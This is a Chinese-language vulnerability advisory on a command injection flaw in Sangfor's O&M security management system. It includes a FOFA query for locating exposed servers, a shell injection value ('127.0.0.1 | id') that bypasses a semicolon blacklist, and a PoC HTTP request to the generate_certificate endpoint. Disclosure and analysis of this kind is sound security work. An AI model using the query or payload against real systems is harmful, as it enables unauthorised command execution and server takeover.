漏洞简介
深信服运维安全管理系统 generate_certificate 接口存在远程命令执行漏洞。攻击者可通过构造恶意的请求,利用该漏洞在目标服务器上执行任意命令,从而可能导致服务器被完全控制、敏感数据泄露等严重后果。影响范围包括所有运行存在该漏洞版本的深信服运维安全管理系统的服务器。
影响版本
低于 3.0.12 20241106
fofa语法
body="/fort/login" && header="FORTSESSIONID"
漏洞分析
看下
com.sbr.fort.web.controller.system.relatedServices.MailServiceController#generate_certificate的实现逻辑

方法通过 this.getParameter("mailAdd") 获取用户输入的 ip 参数,这是一个外部可控的输入源。获取到的 ip 参数未经充分的过滤或无害化处理,被直接拼接到 cmd1 字符串中,最终通过 executor.exe(cmd1.toString()) 执行。
- 尽管代码中使用
ip.contains(";")检查了分号,但这种黑名单过滤方式非常不完善,极易被绕过。攻击者可以使用其他 shell 元字符来注入恶意命令,例如:|(管道符)&&(逻辑与)||(逻辑或)- 反引号 `
$(...)
- 例如,攻击者可以将
mailAdd参数设置为127.0.0.1 | id。服务器上最终执行的命令将是bash /usr/local/bin/sh/mailssl.sh 127.0.0.1 | id 465。这会导致id命令被执行,攻击者从而可以在服务器上执行任意命令。
漏洞复现

POC
POST /fort/outServices;help/generate_certificate HTTP/1.1
Host: sangfor_osm.mrxn.net
Content-Type: application/x-www-form-urlencoded
mailAdd=RCE_POC

成功得到命令执行结果。


